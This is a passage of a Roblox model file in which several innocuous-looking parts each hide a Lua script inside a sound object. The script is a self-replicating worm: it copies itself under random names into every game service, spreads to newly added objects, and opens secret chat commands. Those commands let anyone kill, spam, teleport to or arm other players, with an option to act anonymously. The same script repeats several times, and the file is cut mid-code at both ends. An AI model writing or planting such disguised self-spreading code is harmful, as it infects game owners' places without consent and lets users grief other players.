if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX880">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-153</X>
					<Y>65.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX881">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX882">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX883">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-158</X>
					<Y>69.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX884">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX885">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
